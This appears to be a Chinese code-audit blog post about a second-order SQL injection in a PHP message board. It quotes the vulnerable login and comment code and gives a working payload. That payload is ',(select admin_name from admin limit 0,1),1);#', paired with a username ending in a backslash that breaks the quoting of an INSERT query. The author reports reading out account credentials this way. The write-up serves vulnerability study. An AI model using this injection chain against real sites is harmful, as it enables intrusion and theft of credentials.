审计8 截断注入
Posted 一手重锤
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了审计8 截断注入相关的知识,希望对你有一定的参考价值。
1 <?php 2 include_once(\'sys/config.php\'); 3 4 if (isset($_POST[\'submit\']) && !empty($_POST[\'message\']) && isset($_SESSION[\'username\'])) { 5 6 $clean_message = clean_input($_POST[\'message\']); 7 8 9 $query = "INSERT INTO comment(user_name,comment_text,pub_date) VALUES (\'{$_SESSION[\'username\']}\',\'$clean_message\',now())"; 10 11 mysql_query($query, $conn) or die(mysql_error()); 12 mysql_close($conn); 13 header(\'Location: message.php\'); 14 } 15 else { 16 echo "<!DOCTYPE html PUBLIC \\"-//IETF//DTD HTML 2.0//EN\\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1> 17 <p>The requested URL ".$_SERVER[\'PHP_SELF\']." was not found on this server.</p></body></html>"; 18 } 19 ?>
在留言页面 ../messageSub.php 发现在注册时发现第9行,往数据库插入语句时,将留言经过 clean_input($_POST[\'message\'])函数进行了处理。
查看clean_input()函数:
1 function clean_input( $dirty ) { 2 return mysql_real_escape_string( stripslashes( $dirty ) ); 3 }
stripslashes()删除反斜杠
mysql_real_escape_string()对 \\x00 \\n \\r \\ \' " 进行转义
然后观察sql语句:
"INSERT INTO comment(user_name,comment_text,pub_date) VALUES (\'{$_SESSION[\'username\']}\',\'$clean_message\',now())";
在获取username的时候是否可以将闭合的单引号转义
INSERT INTO comment(user_name,comment_text,pub_date) VALUES (\'test\\\',\'$clean_message\',now())
红色部分将变成username的内容,因为\\转义的单引号,是其闭合失败,在$clean_message的开始单引号,与其闭合。
$clean_message就可以随意构造攻击语句:
,(select admin_name from admin limit 0,1),1);#
$clean_message=,(select admin_name from admin limit 0,1),1);# 构造$clean_message 注释掉后面的sql语句,将查询到管理员的用户名
现在只需要构造姓名,让其出现\\注释掉单引号即可。
然后注册用户名为 test\\
sql语句为:
很明显进行了转义 \\能对单引号转义。但是\\\\就失去了作用。
进入数据库发现,入库后竟然成了一个反斜杠。
1 <?php 2 include_once(\'../sys/config.php\'); 3 4 if (isset($_POST[\'submit\']) && !empty($_POST[\'user\']) && !empty($_POST[\'pass\'])) { 5 $clean_name = clean_input($_POST[\'user\']); 6 $clean_pass = clean_input($_POST[\'pass\']); 7 $query = "SELECT * FROM users WHERE user_name = \'$clean_name\' AND user_pass = SHA(\'$clean_pass\')"; 8 $data = mysql_query($query, $conn) or die(\'Error!!\'); 9 10 if (mysql_num_rows($data) == 1) { 11 $row = mysql_fetch_array($data); 12 $_SESSION[\'username\'] = $row[\'user_name\']; 13 $_SESSION[\'avatar\'] = $row[\'user_avatar\']; 14 $ip = sqlwaf(get_client_ip()); 15 $query = "UPDATE users SET login_ip = \'$ip\' WHERE user_id = \'$row[user_id]\'"; 16 mysql_query($query, $conn) or die("updata error!"); 17 header(\'Location: user.php\'); 18 } 19 else { 20 $_SESSION[\'error_info\'] = \'用户名或密码错误\'; 21 header(\'Location: login.php\'); 22 } 23 mysql_close($conn); 24 } 25 else { 26 not_find($_SERVER[\'PHP_SELF\']); 27 } 28 ?>
在登陆页面发现重新获取了username变量。
登陆后发现报错。
发现用户名成功注释了单引号,导致页面错误。
进入留言页面,将payload输入,留言
成功将账号密码读了出来!
以上是关于审计8 截断注入的主要内容,如果未能解决你的问题,请参考以下文章
网站漏洞检测公司对wordpress sql注入漏洞代码审计与修复
[JAVA代码审计]OFCMSv1.3.3之前存在SQL注入漏洞